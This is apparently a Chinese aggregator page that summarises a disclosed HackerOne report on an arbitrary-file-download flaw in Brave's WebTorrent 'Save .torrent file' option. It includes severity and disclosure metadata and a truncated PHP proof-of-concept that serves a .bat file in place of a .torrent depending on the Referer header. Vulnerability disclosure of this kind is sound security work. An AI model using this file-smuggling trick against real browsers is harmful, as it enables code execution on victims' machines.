POJIA破甲
地图 / Arbitrary file download via "Save .torrent file" option can lead to Client RCE and XSS

Arbitrary file download via "Save .torrent file" option can lead to Client RCE and XSS

代码执行 / 代码注入 / #963155

厂商
Brave Software
严重程度
低危
赏金
—
弱点
代码注入
研究员
@d3f4u17
披露日期
2022-06-30
资产
https://laptop-updates.brave.com/latest/winx64
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1872 字符中的一小部分)
An attacker can use the "Save .torrent file" option in WebTorrent to smuggle malicious files onto the client's machine.
原文中的代码
<?php

if(isset($_SERVER['HTTP_REFERER'])){
    header("Content-Disposition: attachment; filename='PoC.torrent'; filename*=UTF-8''PoC.torrent");
    header("Content-Type: application/octet-stream");
}
else{
    header("Content-Disposition: attachment; filename='PoC.bat'; filename*=UTF-8''PoC.bat"); …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Brave Software 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @d3f4u17 · 版权归作者与 Brave Software 所有

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